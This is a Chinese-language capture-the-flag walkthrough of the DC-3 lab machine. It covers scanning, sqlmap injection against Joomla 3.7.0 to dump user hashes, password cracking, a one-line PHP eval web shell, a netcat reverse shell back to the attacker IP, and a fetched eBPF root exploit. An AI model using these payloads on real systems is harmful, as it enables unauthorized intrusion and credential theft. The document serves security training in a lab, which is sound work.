DC系列靶机丨DC3
字数 799 2025-08-10 17:51:54
DC3靶机渗透测试教学文档
1. 信息收集阶段
1.1 主机发现
使用netdiscover进行二层主机发现:
netdiscover -i eth0 -r 192.168.84.0/24
1.2 端口扫描
使用masscan进行快速端口扫描:
masscan 192.168.84.178 --rate=10000 --ports 0-65535
2. Web应用分析
2.1 初步访问
通过浏览器访问目标80端口,发现网站使用Joomla CMS搭建。
2.2 Joomla扫描
使用joomscan工具扫描Joomla网站:
joomscan -u http://192.168.84.178/
获取到Joomla版本号为3.7.0。
2.3 漏洞搜索
搜索Joomla 3.7.0的历史漏洞:
searchsploit Joomla 3.7.0
下载找到的漏洞利用脚本:
searchsploit -m 42033.txt
3. SQL注入利用
3.1 使用sqlmap进行注入
基本注入命令:
sqlmap -u "http://192.168.84.178/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
3.2 获取数据库信息
获取表名:
sqlmap -u "http://192.168.84.178/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables
获取字段名:
sqlmap -u "http://192.168.84.178/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns
获取用户数据:
sqlmap -u "http://192.168.84.178/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C username,password --dump
3.3 密码破解
使用john破解获取的密码哈希:
john --wordlist=/path/to/wordlist.txt hash.txt
获得凭据:admin/snoopy
4. 获取Web Shell
4.1 登录后台
使用获取的凭据登录Joomla后台。
4.2 创建Web Shell
在网站模板目录下新建shell.php文件:
<?php eval($_REQUEST[1])?>
保存路径:/templates/beez3/html/shell.php
4.3 验证Web Shell
访问shell.php并传参:
http://192.168.84.178/templates/beez3/html/shell.php?1=phpinfo();
5. 权限提升
5.1 系统信息收集
查看系统发行版本:
cat /etc/*release
发现系统为Ubuntu 16.04
5.2 搜索提权漏洞
搜索Ubuntu 16.04的提权漏洞:
searchsploit ubuntu 16.04
searchsploit -m 39772
5.3 建立反弹Shell
修改shell.php为反弹shell:
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.84.174 10086 >/tmp/f'); ?>
本地监听:
nc -lvnp 10086
访问shell.php触发反弹shell。
5.4 传输并执行提权利用程序
在攻击机开启HTTP服务:
python -m SimpleHTTPServer 8000
靶机下载提权利用程序:
wget http://192.168.84.174:8000/39772.zip
unzip 39772.zip
cd 39772
unzip exploit.zip
cd ebpf_mapfd_doubleput_exploit
make
./exploit
6. 获取Flag
成功提权后,在系统关键位置查找并获取flag文件。
注意事项
- 所有IP地址需要根据实际环境进行替换
- 执行命令前确保理解其作用和潜在影响
- 渗透测试应在授权环境下进行
- 实际环境中可能需要绕过更多安全防护措施